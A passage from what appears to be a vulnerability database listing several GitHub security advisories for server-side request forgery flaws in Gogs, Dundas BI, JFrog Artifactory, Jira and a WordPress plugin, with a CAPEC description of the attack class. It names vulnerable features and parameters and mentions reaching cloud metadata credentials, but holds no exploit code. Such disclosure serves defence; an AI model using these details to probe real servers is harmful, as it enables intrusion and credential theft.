"events": [
{
"introduced": "0"
},
{
"fixed": "0.12.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-0870"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2022-03-14T22:57:02Z",
"nvd_published_at": "2022-03-11T11:15:00Z",
"severity": "MODERATE"
},
"details": "Gogs is a self-hosted Git service. The malicious user is able to discover services in the internal network through repository migration functionality. All installations accepting public traffic are affected. Internal network CIDRs are prohibited to be used as repository migration targets. Users should upgrade to 0.12.5 or the latest 0.13.0+dev. Gogs should be ran in its own private network until users can update.",
"id": "GHSA-7v5r-r995-q2x2",
"modified": "2022-03-24T23:23:21Z",
"published": "2022-03-12T00:00:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0870"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/commit/91f2cde5e95f146bfe4765e837e7282df6c7cabb"
},
{
"type": "PACKAGE",
"url": "https://github.com/gogs/gogs"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/327797d7-ae41-498f-9bff-cc0bf98cf531"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "SSRF in repository migration"
}
GHSA-7V6J-4W9V-PGVX
Vulnerability from github – Published: 2022-05-14 01:32 – Updated: 2022-05-14 01:32The Dundas BI server before 5.0.1.1010 is vulnerable to a Server-Side Request Forgery attack, allowing an attacker to forge arbitrary requests (with certain restrictions) that will be executed on behalf of the attacker, via the viewUrl parameter of the "export the dashboard as an image" feature. This could be leveraged to provide a proxy to attack other servers (internal or external) or to perform network scans of external or internal networks.
{
"affected": [],
"aliases": [
"CVE-2018-18569"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-02-11T21:29:00Z",
"severity": "HIGH"
},
"details": "The Dundas BI server before 5.0.1.1010 is vulnerable to a Server-Side Request Forgery attack, allowing an attacker to forge arbitrary requests (with certain restrictions) that will be executed on behalf of the attacker, via the viewUrl parameter of the \"export the dashboard as an image\" feature. This could be leveraged to provide a proxy to attack other servers (internal or external) or to perform network scans of external or internal networks.",
"id": "GHSA-7v6j-4w9v-pgvx",
"modified": "2022-05-14T01:32:41Z",
"published": "2022-05-14T01:32:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-18569"
},
{
"type": "WEB",
"url": "https://www.shorebreaksecurity.com/blog/ssrfs-up-real-world-server-side-request-forgery-ssrf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7VCF-Q5X4-FQ9R
Vulnerability from github – Published: 2026-07-27 21:31 – Updated: 2026-07-27 21:31Improper URL validation when handling specific URLs, allows an attacker, under certain conditions, to make unauthorized requests from JFrog Artifactory, potentially exposing internal services and cached response data.
{
"affected": [],
"aliases": [
"CVE-2026-65618"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-27T20:16:41Z",
"severity": "MODERATE"
},
"details": "Improper URL validation when handling specific URLs, allows an attacker, under certain conditions, to make unauthorized requests from JFrog Artifactory, potentially exposing internal services and cached response data.",
"id": "GHSA-7vcf-q5x4-fq9r",
"modified": "2026-07-27T21:31:22Z",
"published": "2026-07-27T21:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65618"
},
{
"type": "WEB",
"url": "https://docs.jfrog.com/releases/docs/artifactory-self-managed-releases"
},
{
"type": "WEB",
"url": "https://docs.jfrog.com/releases/docs/jfrog-security-advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7VH9-VMFJ-H37X
Vulnerability from github – Published: 2022-05-14 03:46 – Updated: 2022-05-14 03:46The Trello importer in Atlassian Jira before version 7.6.1 allows remote attackers to access the content of internal network resources via a Server Side Request Forgery (SSRF). When running in an environment like Amazon EC2, this flaw maybe used to access to a metadata resource that provides access credentials and other potentially confidential information.
{
"affected": [],
"aliases": [
"CVE-2017-16865"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-01-17T14:29:00Z",
"severity": "MODERATE"
},
"details": "The Trello importer in Atlassian Jira before version 7.6.1 allows remote attackers to access the content of internal network resources via a Server Side Request Forgery (SSRF). When running in an environment like Amazon EC2, this flaw maybe used to access to a metadata resource that provides access credentials and other potentially confidential information.",
"id": "GHSA-7vh9-vmfj-h37x",
"modified": "2022-05-14T03:46:41Z",
"published": "2022-05-14T03:46:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16865"
},
{
"type": "WEB",
"url": "https://jira.atlassian.com/browse/JRASERVER-66642"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7VHV-799G-FCFV
Vulnerability from github – Published: 2026-04-08 09:31 – Updated: 2026-04-13 18:30Server-Side Request Forgery (SSRF) vulnerability in Nelio Software Nelio Content nelio-content allows Server Side Request Forgery.This issue affects Nelio Content: from n/a through <= 4.3.1.
{
"affected": [],
"aliases": [
"CVE-2026-39521"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-08T09:16:25Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Nelio Software Nelio Content nelio-content allows Server Side Request Forgery.This issue affects Nelio Content: from n/a through \u003c= 4.3.1.",
"id": "GHSA-7vhv-799g-fcfv",
"modified": "2026-04-13T18:30:38Z",
"published": "2026-04-08T09:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39521"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/nelio-content/vulnerability/wordpress-nelio-content-plugin-4-3-1-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.